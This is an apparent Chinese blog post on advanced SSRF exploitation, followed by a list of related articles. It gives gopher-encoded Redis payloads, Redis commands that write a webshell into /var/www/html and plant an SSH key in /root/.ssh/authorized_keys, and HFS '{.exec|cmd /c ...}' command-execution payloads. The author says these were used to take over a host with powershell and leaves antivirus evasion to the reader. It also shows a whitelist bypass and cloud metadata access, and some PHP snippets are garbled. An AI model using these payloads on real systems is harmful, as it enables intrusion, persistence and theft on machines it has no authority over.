SSRF深入各种高级实战用法

SSRF漏洞技术解析与实战防御指南 2. 敏感数据泄露:读取本地文件(file:///etc/passwd)或访问云服务元数据(如AWS的169.254.169.254)。url=http://169.254.169.254/latest/meta-data/:读取云服务器元数据。2. 支持非常规协议:允许使用file://、dict://、gopher://等危险协议。1. 内网探测与端口扫描:通过SSRF绕过网络边界,探测内网服务(如Redis、数据库)。- gopher://:构造TCP流量攻击内网服务(如Redis未授权访问)。 阅读详情

简介

什么是SSRF?服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统
​

0x0 前期准备

1.phpstudy

1.SSRF常见的攻击手法

漏洞产生SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制,如PHP中的curl_exec、file_get_contents、fsockopen

1.1 curl_exec

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

1.2 file_get_contents

<?php
if(isset($_GET('file'])&&$_GET('file'] !=nulL) {
  $filename = $GET('file']:
  $str = file_get_contents ($filename);
  echo Sstr:
}
?>

1.3 fsockopen

<?php
function Getfile($host, $port, $link){
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr (error number $errno) \n";
    }else{
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "HOST $host \r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $content = '';
        while(!feof($fp)){
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
查看curl的版本和该版本支持的协议

​在这里插入图片描述

1.判断SSRF

一般SSRF存在于通过Interface去请求,外部链接资源,或者内部连接资源,如api开放平台的某处调用
​在这里插入图片描述

一般来说,我们可以通过提交URL地址去探测此接口是否存在ssrf,探测一般分为两种,一种是无回显型一种是回显型,有回显的就比较明显,会将获取到的数据直接返回,无回显可以通过响应时间,还有DNSlog去探测。
​

在这里插入图片描述

在这里插入图片描述

2.SSRF与协议

一、gopher

互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务,也叫万金油协议,可以拿此协议作为POST、GET请求去发包,也可以去攻击redis、ftp、telnet、mysql等

gopher利用对应版本

php >=5.3
java <=jdk1.7

gopher协议格式:

gopher://ip:port/_payload
gopher://IP:port/_后接TCP数据流
使用gopher协议进行发包时,回车换行需要使用%0d%0a(/r/n)替换,并且url编码
tcpdump抓取redis通信数据包,监听eth0网卡上的6379端口

tcpdump -i eth0 port 6379 -w redis.pcap
​

在这里插入图片描述

正常连接redis,并尝试通讯
​
在这里插入图片描述

分析数据包,查看tcp流
​在这里插入图片描述

通过数据包可以分析,每一行命令为一个数组,如set ceshi "123"为一个三个元素的数组,所以开头的标识符*为3,每个元素的长度都由$标识,现在就完全了解redis通讯数据包的格式了,我们直接使用gopher协议对redis进行交互

我们尝试通过redis通讯数据包格式去发送gopher协议请求

*3
$3
set
$5
ceshi
$3
1234
exit

URL编码:

%2a%33%0a%24%33%0a%73%65%74%0a%24%35%0a%63%65%73%68%69%0a%24%33%0a%31%32%33%34%0a%65%78%69%74
​

在这里插入图片描述

需要替换换行符%0a为%0d%0a,单个%0a,http协议无法去识别为回车换行,在协议中对于回车换行,只能用通过%0d%0a来识别,%0d%0a的也就是\r\n回车符和换行符
在这里插入图片描述

​
收到请求结果,最终payload为:

gopher://192.168.124.18:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%35%0d%0a%63%65%73%68%69%0d%0a%24%33%0d%0a%31%32%33%34%0d%0a%65%78%69%74%0d%0a

在这里插入图片描述

2.在存在web的情况下写webshell

config set dir /var/www/html/
config set dbfilename ceshi.txt
set shell "ceshi123456"
save

tcp数据流

*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$11
dbfilename
$9
ceshi.txt
*3
$3
set
$5
shell
$6
123456
save

如果是linux,同时也可以通过写入ssh公钥进行登录

set  margin  "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDr6sOA325MhcQUUknax18ZY9+I/t8LUzPqaD1eX/covADk/nbqcdohGhziCqNIicwdsSoSGu94Y1sauZfocDIIxsfvacFERhmjOXuO2MwxwBRjhblaMUnf3z/pWHjGC03olnkC7JzCIxydkoWRjuEZSbjYSvFvW70P0phyjQ6uYeBXZ32WWEB3iBDW7RGUI/UqmTYr5dWVnzbPsebNqVlCbfvBCGAGC3BmmZs2xoD8gFltru4BraBhMc3a5KCJrpuHVkC+5HxrzpTkFUIxIF2MgdC4XEtFgJUPyXE9kL94/Y/xgVtxFzeyYURPyN0Ps LSgyJopIkSTQh/+/u+46MlXWZb+8LjdafSy9vglbiCir7u9rQGB8eqo8iBzfSZpDmJi0GqFJioWs5yF0guw06OEoC52cf8q2568zsdp8B4VBW1cSTPTaAdv9aEbn6qANLjigSIFMApW3eU5jEECawXts9Z7v9CfKd2Z3rHuIV4pl85emdv51fXyPiV1wf0m2zs= root@kali\n\n\n"
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

当然我们也可以用工具去编码数据流,一个一个去数数组还有元素效率确实不高
比如:https://github.com/firebroo/sec_tools/blob/master/redis-over-gopher/redis-over-gopher.py

gopher post请求

发送post请求可以直接去burp里抓包,然后编码,再通过gopher协议去请求,通过burp抓到的包就是原始的http数据流,不需要像redis一样去数数组元素
在这里插入图片描述

gopher协议下的post请求必须要包含四个字段 POST、Host、Content-Type、Content-Length

POST / HTTP/1.1
Host: 192.168.124.9:8013
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

a=1

​在这里插入图片描述
在这里插入图片描述

二、dict

1.什么是dict?

dict 协议可以加载一个 tcp 端口的提供的服务所返回的部分数据,在ssrf中通常用于作为端口探测,类似于telnet 协议。也可以通过dict去查看curl的版本信息,直接通过nc监听,访问
dict协议格式:
dict://127.0.0.1:port/payload
比如向未授权的redis发起请求http://192.168.2.169:8012/ssrf.php?url=dict://172.16.122.5:6379/info,可以看到redis的基本配置信息

三、file

file协议格式:
file://file

四、http/s

http/s协议格式:
http://
https://
通常也作为端口探测,效果类似于dict,也是会返回服务的部分数据

0x2 进阶之SSRF

前言:某次hw遇到的突发奇想,通过外网找到一个SSRF触发点,通过http协议去去扫描存在的web,找到一个hfs,通过ssrf+配合hfs成功上线

1.SSRF+HTTP File Server

漏洞版本:HTTP File Server 2.3c及之前版本
Payload:
?search==%00{.exec|cmd /c command.}
?search==%00{.exec|command.}
可以通过hfs去添加用户或者执行上线命令
​
在这里插入图片描述

正常访问通过ssrf访问到hfs
​
在这里插入图片描述

ssrf+powershell上线
​
在这里插入图片描述

当然在实测中肯定需要绕过杀软的方式,这个就要自己去研究了

0x3 SSRF绕过

1.白名单绕过
只允许访问指定domain或者指定ip时,可以通过http认证来绕过
如果ssrf只允许访问百度:http://127.0.0.1/ssrf.php?url=https://www.baidu.com
我们的目标是绕过百度访问到搜狗
我们只需要通过http认证的格式去绕过:
http://127.0.0.1/ssrf.php?url=https://www.baidu.com@www.sogou.com
实现效果如下:

搭建一个伪造的http认证
​在这里插入图片描述

在ssrf触发点,通过http认证的格式去访问
​在这里插入图片描述

抓取取到认证信息
​
在这里插入图片描述

同理绕过百度,访问到搜狗
​
在这里插入图片描述

通过SSRF击穿内网!kali-ssrf靶场实战! SSRF攻击如何利用服务端穿透内网防护?本文基于国光老师靶场手把手复现攻击链,详解协议漏洞利用及内网端口扫描技巧,深度拆解SQL注入,请求权限限制等防御方案,助你构建企业级SSRF漏洞防护体系! 阅读详情

相关推荐

CTF SSRF漏洞实战:从原理到高级绕过与Redis攻击

服务器端请求伪造(SSRF)是一种常见的Web安全漏洞,其核心原理在于应用程序未对用户可控的URL输入进行充分校验,导致攻击者能够诱使服务器向内部或外部资源发起非预期请求。理解SSRF的技术价值在于,它能够绕过防火墙限制,将服务器作为跳板,访问或攻击其所在内网中的敏感服务,如数据库、缓存系统或管理后台。在CTF竞赛和实战渗透测试中,SSRF常被用于内网探测、端口扫描,甚至通过Gopher协议攻击Redis等服务以获取服务器权限。本文以ctfshow平台SSRF题目为例,深入解析了如何利用file、dict、

afeyfre41671的博客 435

【SSRF漏洞】实战演示 超详细讲解

通过SSRF漏洞的学习,我发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞对内网的一些应用危害比较大。所以在开发过程中,警惕大家要尽量避免产生SSRF漏洞。

qinshuoyang1的博客 2357

SSRF漏洞WAF绕过实战:从原理到高级对抗技巧

服务端请求伪造(SSRF)是一种常见的安全漏洞,它允许攻击者诱使服务器向内部或外部任意地址发起请求,从而可能访问到受保护的内部网络资源或敏感数据。其核心原理在于应用程序未对用户可控的URL输入进行充分校验和限制,便直接发起网络请求。在工程实践中,Web应用防火墙(WAF)是防御此类攻击的关键组件,它通过规则引擎对出站请求的URL、协议、主机名等特征进行深度检测与过滤。为了有效防护,WAF通常采用IP/域名黑名单、正则匹配、DNS重解析等多层机制。然而,攻击者常利用URL解析差异、协议特性及DNS重绑定等技术

weixin_30239339的博客 394

SSRF一篇文章实战举例全面学懂

上面这篇文章真的写的很好,是目前看过最好的将SSRF(服务端请求伪造)和Gopher协议的内容。然后这种题型,我记得在之前的文章,金砖里有个云启的练习,用的就是SSRF漏洞+file协议,呜呜呜那时候还不知道是啥。现在回首原来如此。

书山有路勤为径,学海无涯苦作舟 1394

SSRF漏洞实战:从内网探测到Redis、FastCGI攻击与高级绕过技巧

服务端请求伪造(SSRF)是一种常见的Web安全漏洞,其核心原理在于攻击者能够诱使服务器向任意内部或外部网络地址发起非预期的请求。这种能力的技术价值在于穿透网络边界,将原本仅暴露于外网的Web应用,转变为攻击内网关键系统(如数据库、缓存服务、管理后台)的跳板。在工程实践中,SSRF常被用于内网资产发现、端口扫描,并进一步结合特定协议(如Gopher、Dict)攻击Redis、Memcached、FastCGI/PHP-FPM等高危服务,最终实现权限获取与横向移动。本文通过真实案例,深入剖析了如何利用SSRF

weixin_34314962的博客 434

SSRF漏洞深度解析:从原理、高级绕过到实战防御

服务器端请求伪造(SSRF)是一种常见且危害巨大的Web安全漏洞,其核心原理在于应用程序信任了用户可控的URL输入,并以此在服务器端发起网络请求。由于服务器通常位于受信任的内网环境,攻击者可利用此漏洞作为跳板,访问外部无法直接触及的内部资源,如数据库、缓存服务或云平台元数据接口,从而将攻击面从单一应用扩展到整个内网。在云原生和微服务架构普及的今天,SSRF常与云服务元数据接口、Redis未授权访问等风险点结合,演变为获取临时凭证、实现内网横向移动甚至远程代码执行(RCE)的突破口。理解其触发场景(如远程资源

B1334628598的博客 493

Gopherus工具完全指南:如何利用SSRF漏洞获得RCE的终极武器

Gopherus是一款强大的安全测试工具,专门用于生成gopher链接以利用服务器端请求伪造(SSRF)漏洞并在各种服务器中获得远程代码执行(RCE)权限。对于网络安全爱好者和渗透测试人员来说,这是一款不可或缺的终极武器,能够帮助安全专家快速验证和利用SSRF漏洞,提升网络安全防护能力。 ## 为什么选择Gopherus? 在网络安全领域,SSRF漏洞是一种常见且危害极大的安全隐患。攻击者可以

gitblog_00916的博客 677

【Pikachu】SSRF(Server-Side Request Forgery)服务器端请求伪造实战

尽人事以听天命

1557

Web安全攻防实战笔记:327页从原理到防御的完整指南

Web安全是网络安全领域的核心,其本质在于理解数据在客户端与服务器端交互过程中的潜在风险。其基本原理涉及对用户输入验证、输出编码、会话管理及访问控制等关键环节的深入剖析。掌握这些原理的技术价值在于,能够系统性地识别和防御SQL注入、XSS(跨站脚本攻击)、SSRF(服务端请求伪造)等常见漏洞,从而构建稳固的应用安全防线。在实际应用场景中,无论是开发、运维还是专职安全人员,都需要一套从漏洞原理、工具使用到实战绕过与防御构建的完整知识体系。本文基于一份详实的327页实战笔记,深入探讨了Web安全攻防的完整路径,

weixin_30896511的博客 332

【SAP PO】SAP PO 接口配置完整教程之二REST服务对接

SAP PO 接口配置完整教程之二REST服务对接

XLevon的博客 1万+

【白话系列】倍增算法

【序言】         我认为吧,所有能够优化复杂度的算法都是神奇的,所有能够化繁琐为形象的文字都是伟大的。一直觉得倍增算法是个很神奇的东西,所以决定写点东西纪念一下它。但是作为一个非常不称职的OIER,我非常讨厌在看别人的算法解析时整版的i,j,k等我看到鼠标就惯性移到右上角的符号语言,所以我想用最形象的方式来纪念它。 【一】         从前,有一只可爱得不得了的小白兔,它想从

JarjingX 3万+

requests从菜鸟脚本到企业级SDK的网络实战圣经专栏大纲

本文档是关于Python requests库的详细教程专栏,分为基础篇(17章)、中级篇(14章)和高级篇(7章)。专栏采用四段式结构(痛点分析→剧本对话→代码实战→总结思考),涵盖从HTTP协议基础到企业级SDK构建的全链路内容。基础篇重点讲解requests核心概念、HTTP方法、URL参数、请求头处理、响应解析、异常处理、Session管理、超时重试、文件上传等实战技能。针对不同读者群体(开发/测试/运维/架构师)提供了差异化的学习路径建议。

davidwang456的专栏 628

【面试经验】京东-技术产品经理一面:从紧张到反思的全流程复盘

本文详细复盘了京东技术产品经理一面的全流程,从面试前的简历打磨、业务理解和技术基础准备,到面试中的高压对话和突发状况应对,再到面试后的深度反思与改进方案。文章特别强调了技术产品经理需要具备的技术理解力、数据敏感度和商业思维,并提供了实用的面试建议和准备技巧。

weixin_28730927的博客 163

CTF Web方向解题全攻略:从信息收集到getshell(附实战payload与脚本)

陷阱说明只测一种闭合方式SQL注入卡死,多试组合忽视源码注释Flag/账号常在HTML注释中盲目跑sqlmap过滤导致误判,先手工确认忽略响应头X-Hint/Server常给关键线索跳过信息收集直奔漏洞漏掉备份源码/隐藏接口上传成功但马不解析未找对解析路径或未配htaccess时间盲注阈值过低网络抖动误判,阈值要大以为没回显就没漏洞改用带外/盲注WAF绕过只用一种组合多维度绕过更有效阶段学习重点实践入门HTTP基础、SQL基础、PHP基础、常见漏洞概念。

xlb8888888的博客 1083

【FPGA】定点数运算中的位宽优化与截取策略

本文深入探讨了FPGA定点数运算中的核心挑战——数据位宽优化与截取策略。针对定点数在加法、乘法等运算中位宽膨胀的问题,文章详细分析了位宽变化规律,并对比了直接截断、四舍五入和收敛舍入三大截取策略的优缺点及硬件实现方法。通过实战指南与避坑经验,旨在帮助开发者在保证计算精度的同时,高效利用FPGA资源,实现性能与面积的平衡。

weixin_29181861的博客 117

Virtualbox “Kernel driver not installed (rc=-1908)”问题全面解析与修复指南

本文全面解析了Virtualbox出现'Kernel driver not installed (rc=-1908)'错误的原因及修复方法。详细介绍了如何通过重新安装virtualbox-dkms、处理Secure Boot特殊情况等步骤解决该问题,并提供了预防措施与最佳实践,帮助用户避免类似错误再次发生。

weixin_30352645的博客 530

2025版Web安全实战指南:从协议、浏览器到逻辑漏洞的体系化攻防

Web安全的核心在于理解数据在客户端与服务器之间交互的规则与风险。其基础建立在HTTP/HTTPS协议、浏览器安全模型(如同源策略)以及会话管理机制之上。这些技术原理共同构成了现代Web应用安全的基石,其价值在于为数据保密性、完整性和可用性提供底层保障。在实际应用场景中,任何对这些基础规则的误解或配置不当,都可能演变为严重的安全漏洞,例如会话劫持、跨站脚本或权限绕过。本文聚焦于体系化构建Web安全知识,并深入探讨SQL注入、SSRF等核心攻击面的手动挖掘与防御实践,旨在为开发者与安全爱好者提供一份贯穿学习、

weixin_27199085的博客 313

J1939协议实用指南与J1939数据记录方案

“没错,这是一份SAE J1939简单、实用指南。”—虹科 **开篇:**在这篇介绍中,我们介绍了J1939协议的基本知识,其中包括PGN和SPN。因为这是一篇偏向应用的简介,所以您还将会学习到如何通过DBC文件解码J1939数据、如何记录J1939、典型的应用案例和实用技巧。下面,来了解下这份简单易懂的J1939介绍吧~ 什么是J1939? 简而言之,SAE J1939其实是一套标准,重型车辆ECU间就是按照这套标准在CAN总线上进行通信的。当今大多数车辆都通过CAN(Controller Area Ne

1万+

SSRF漏洞

SSRF漏洞总结

Dikesi的博客 1466

基于matlab的形态学的权重自适应图像去噪

数学形态学以图像的形态特征为研究对象,通过设计一套独特的数字图像处理方法和理论来描述图像的基本特征和结构,通过引入集合的概念来描述图像中元素与元素、部分与部分的关系运算。因此,数学形态学的运算由基础的集合运算(并、交、补等)来定义,并且所有的图像矩阵都能被方便地转换为集合。随着集合理论研究的不断深入和实际应用的拓展,图像形态学处理也在图像分析、模式识别等领域起着重要的应用。实验结果表明,如果仅通过串联滤波器去噪,则往往具有一定的局限性,在结果图像中也保留着较为明显的噪声。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 757

ESP32-CAM 赋能 AI 视觉巡检小车:自主避障与目标追踪实现全解析

本文基于 ESP32-CAM 实现了低成本 AI 视觉巡检小车的核心功能,硬件成本<100 元,兼顾自主避障与目标追踪。算法升级:移植 YOLOv5nano 量化模型(INT8),提升目标检测精度(如识别巡检场景中的 “异常物体”“人员”);无线拓展:通过 MQTT 协议将巡检图像、距离数据上传到阿里云 / 腾讯云,实现远程监控;多传感器融合:增加温湿度(DHT11)、红外测温(MLX90614)模块,扩展巡检维度;路径规划:结合 SLAM 算法,实现自主建图与路径巡检。

weixin_42300449的博客 368

csrf与ssrf学习笔记

受害者需已登录目标系统,且浏览器会自动携带身份凭证(如 Cookie)。恶意网站 B 触发对网站 A 的请求(自动携带用户 Cookie)。:URL 参数处理(如图片加载、网页代理、Webhook 回调等)。:利用用户已登录的合法身份,在用户不知情的情况下发起恶意请求。网站 A 误认为请求来自用户本人,执行操作(如转账、改密)。:利用服务端发起未授权的内部或外部请求,探测或攻击内网资源。用户访问恶意网站 B,B 诱导用户点击链接或加载资源。:检查请求来源是否合法(注意隐私和误判问题)。

lsswyy的博客 1133

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

SSRF漏洞实战指南:从原理到内网漫游与高级利用

服务器端请求伪造(SSRF)是一种常见且危害严重的安全漏洞,其核心原理在于服务器对用户提供的URL参数缺乏充分验证,导致攻击者能够诱使服务器向内部网络或特定资源发起非预期请求。从技术价值看,SSRF漏洞之所以备受关注,在于它能够绕过防火墙等边界安全设备,直接访问受保护的内部服务,成为攻击者进入内网的“跳板”。在应用场景上,SSRF常出现在远程资源加载、第三方API代理、Webhook配置及各类需要服务器对外发起网络请求的功能中。随着云原生和微服务架构的普及,内网服务愈发复杂,SSRF的利用面也随之扩大,常与

weixin_30571465的博客 349

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

CSRF vs SSRF详解

(Spring Security示例)诱导用户点击后,观察后台权限变更日志。(Linux防火墙策略)(Java白名单校验)通过SSRF漏洞执行。

ai0070411的博客 866

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

SSRF 高级绕过:从内网探测到云上 AK/SK 接管

场景价值仅内网访问探测内部架构,攻击内网脆弱服务云环境直接拿到云账号权限,影响范围巨大配合其他漏洞SSRF + 文件上传、SSRF + XXE、SSRF + SQL 注入等。

m0_73407070的博客 872

探索 SSRF-King:一个实战型的 SSRF 漏洞学习平台

探索 SSRF-King:一个实战型的 SSRF 漏洞学习平台 是一个专为网络安全爱好者和专业人士打造的在线实践平台,专注于 Server-Side Request Forgery(SSRF)漏洞的学习与研究。通过提供一系列精心设计的挑战,它帮助用户深入理解 SSRF 的概念、攻击方式以及防御策略。 技术分析 SSRF 概念: SSRF 漏洞允许攻击者利用服务器作为代理,发起对内部网络的请求。这可...

gitblog_00064的博客 597
上一篇: 跌跌撞撞的攻防打点
G0mini
博客等级 码龄4年 2粉丝 4原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值